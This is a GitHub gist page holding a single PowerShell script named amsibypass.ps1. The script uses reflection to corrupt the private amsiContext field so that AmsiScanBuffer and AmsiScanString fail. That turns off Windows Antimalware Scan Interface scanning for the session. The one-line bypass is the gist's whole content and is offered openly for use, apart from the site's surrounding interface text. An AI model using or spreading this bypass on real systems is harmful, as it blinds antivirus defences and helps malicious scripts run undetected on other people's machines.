mattifestation/amsibypass.ps1

Created July 17, 2017 22:54

Star () You must be signed in to star a gist
Fork () You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1.js"></script>
Save mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1 to your computer and use it in GitHub Desktop.

Download ZIP

Compels AmsiScanBuffer/AmsiScanString to return E_INVALIDARG

Raw

amsibypass.ps1

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment